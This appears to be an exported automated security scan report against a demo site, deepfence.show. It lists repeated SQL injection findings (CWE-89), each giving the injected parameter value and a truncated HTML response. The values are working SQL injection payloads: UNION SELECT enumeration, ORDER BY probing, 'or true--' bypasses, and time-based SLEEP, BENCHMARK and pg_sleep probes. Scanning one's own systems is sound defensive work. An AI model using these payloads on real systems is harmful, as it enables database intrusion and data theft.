Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #485
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 31337--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #486
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #487
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #488Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #489
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #490
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #491
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io -1 UNION SELECT 1 INTO @,@,@
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #492
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #493
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #494
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #495
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #496
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #497
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #498
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io') or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #499Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1 or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
